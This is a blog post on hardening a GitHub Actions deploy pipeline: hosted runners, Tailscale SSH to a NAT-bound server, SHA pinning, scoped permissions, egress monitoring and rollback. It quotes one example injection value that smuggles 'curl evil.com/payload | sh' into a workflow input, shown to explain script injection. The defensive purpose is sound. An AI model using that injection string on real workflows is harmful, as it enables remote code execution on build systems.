This post assumes you've shipped at least one service to production via CI/CD. You'll walk away with a concrete 7-layer hardening strategy and a working Tailscale-based deploy pattern for servers behind NAT.

The migration took ~8 hours across 2 days, with a 2-week observation period before decommissioning the old runner.

What makes a self-hosted runner on a public repo dangerous?

The project: a Spring Boot REST API served through Cloudflare tunnels, deployed via GitHub Actions running on a self-hosted runner installed on the same production machine.

The security assessment flagged this as critical severity:

The fix was clear: move to GitHub-hosted runners (ephemeral VMs, destroyed after each job, no Docker socket). But the server has no public IP.

How do you SSH into a NAT-bound server from hosted runners?

GitHub-hosted runners spin up in Azure — they can't SSH into 192.168.x.x. I tried two approaches.

Cloudflare Access SSH failed in CI/CD. Service Token authentication doesn't reliably forward the SSH username from the runner to the server. After two days of intermittent websocket: bad handshake errors across cloudflared versions, I scrapped it.

Tailscale WireGuard mesh worked cleanly. Both the server and the runner become nodes in the same encrypted mesh, regardless of NAT:

# Server: join the mesh with stable IP + SSH enabled
curl -fsSL https://tailscale.com/install.sh | sh && tailscale up --ssh

The tailscale/github-action creates an ephemeral node using an auth key. The runner gets a stable 100.x.x.x IP, connects over WireGuard UDP (encrypted, no public ports needed), and SSHes directly. No intermediate proxy, no cloudflared binary to download each job.

How do you pin actions, scope permissions, and prevent injection?

Moving to hosted runners eliminated the Docker socket and persistence risks. But a hardened pipeline needs more. Here are the first three layers.

SHA-pinned actions. After the tj-actions/changed-files supply chain attack (March 2025), every action is pinned by its full commit SHA — not by mutable tag:

# Vulnerable to tag hijack
- uses: actions/checkout@v4

# Pinned to immutable commit SHA
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

A verification script audits all SHAs against the GitHub API before each release. Dependabot PRs for github-actions keep them updated weekly.

Minimal permissions. Every workflow starts with the tightest scope:

permissions:
  contents: read  # workflow-level default

jobs:
  build:
    permissions:
      contents: read
      packages: write  # only this job pushes to GHCR
  deploy:
    permissions:
      contents: read
      packages: read   # only pulls from GHCR

No id-token: write, no pages: write, no broad write-all. The GITHUB_TOKEN is scoped per-job and discarded when the VM is destroyed.

Script injection prevention. GitHub Actions expressions like ${{ github.event.inputs.ref }} are string-interpolated before the shell runs. A malicious input like main"; curl evil.com/payload | sh; echo " executes arbitrary code:

# Vulnerable: user-controlled value directly in shell
- run: echo "Deploying ${{ github.event.inputs.ref }}"

# Safe: pass through env var (shell-quoted by the runner)
- env:
    INPUT_REF: ${{ github.event.inputs.ref }}
  run: echo "Deploying ${INPUT_REF}"

I audited every run: block and moved all user-controllable expressions to env: blocks. Three steps in the deploy workflow were fixed.

How do you use Harden-Runner to monitor egress?

step-security/harden-runner runs as the first step in every job:

- name: Harden Runner
  uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
  with:
    egress-policy: audit

Start with audit mode. It monitors all network connections, file access, and process execution without blocking anything. Let it run 2–4 weeks across real deployments to build a baseline of legitimate endpoints (GHCR, Maven Central, Tailscale coordination servers).

Once the baseline is stable, migrate to block mode with an explicit allowlist:

egress-policy: block
allowed-endpoints: >
  ghcr.io:443
  github.com:443
  plugins.gradle.org:443
  repo.maven.apache.org:443

This two-phase approach avoids false positives breaking deploys on day one while giving you a concrete path to enforcement. CVE-2025-32955 confirmed that disable-sudo alone isn't sufficient — egress monitoring fills the gap.

How do you deploy securely to a remote server?

Three final layers close the remaining attack surface.

External deploy scripts. Deploy logic was extracted from inline YAML heredocs into versioned shell scripts under .github/scripts/api/: deploy.sh, rollback.sh, verify.sh, cleanup.sh. Scripts are scp'd to the server and executed via ssh. This eliminates fragile YAML heredocs, complex quoting, and sed -i strip hacks. Each script has a trap for cleanup on exit.

GHCR auth without exposing tokens. Instead of exporting GITHUB_TOKEN as an environment variable over SSH (which would appear in /proc/*/environ), the runner's deploy job creates ~/.docker/config.json via docker/login-action, scp copies it to the server, and deploy.sh runs docker --config /path/to/config pull ghcr.io/.... The token is read from file, never in a process list. A trap removes the config file on exit.

Automatic rollback. The deploy script tags the current image as :backup before pulling the new one. If the health check fails (30 attempts × 5s = 150s), the rollback step restores the backup automatically. No registry involved, no network dependency.

concurrency:
  group: deploy-api-prod
  cancel-in-progress: false  # never cancel a running production deploy

Every job has a timeout-minutes (build: 15, deploy: 25, verify: 15, cleanup: 5).

What did the migration deliver?

The production deploy workflow (deploy-api-prod.yml) orchestrates 4 jobs: Build → Manual Gate → Deploy → Verify + Cleanup, with Rollback on failure.

Key design decisions: every push creates 3 GHCR tags (<git-tag>, sha-<full-commit> immutable, latest). The deploy script pulls by sha-<commit> and retags to the local compose image name. The docker-compose.yml is never modified. Each job (deploy, verify, cleanup) sets up its own ephemeral Tailscale node — jobs run on separate VMs with no shared state.

When NOT to use this approach

This pipeline is overkill for private repos with a small team. Self-hosted runners on private repos are fine — the fork PR vector doesn't apply, and you control who has repo access.

Tailscale adds a coordination dependency. If Tailscale's coordination servers are down, deploys fail. For a solo-maintained project, this is an acceptable trade-off. For a multi-region production system, you'd want a fallback path (VPN, bastion host, or Cloudflare Tunnel with a more recent cloudflared version).

The StrictHostKeyChecking=no decision inside the WireGuard mesh is a documented risk acceptance. WireGuard already provides end-to-end encryption and node identity verification — SSH host key verification is redundant overhead. If your compliance requirements demand host key pinning, the Tailscale model won't satisfy that.

What's next

The workflows and deploy scripts are in the public repository: unspoken-tech-org/workshop_rest_api.

If you're maintaining a solo project on a public repo and haven't audited your CI/CD attack surface, start with step-security/harden-runner in audit mode. Two weeks of data will show you what your pipeline is actually doing.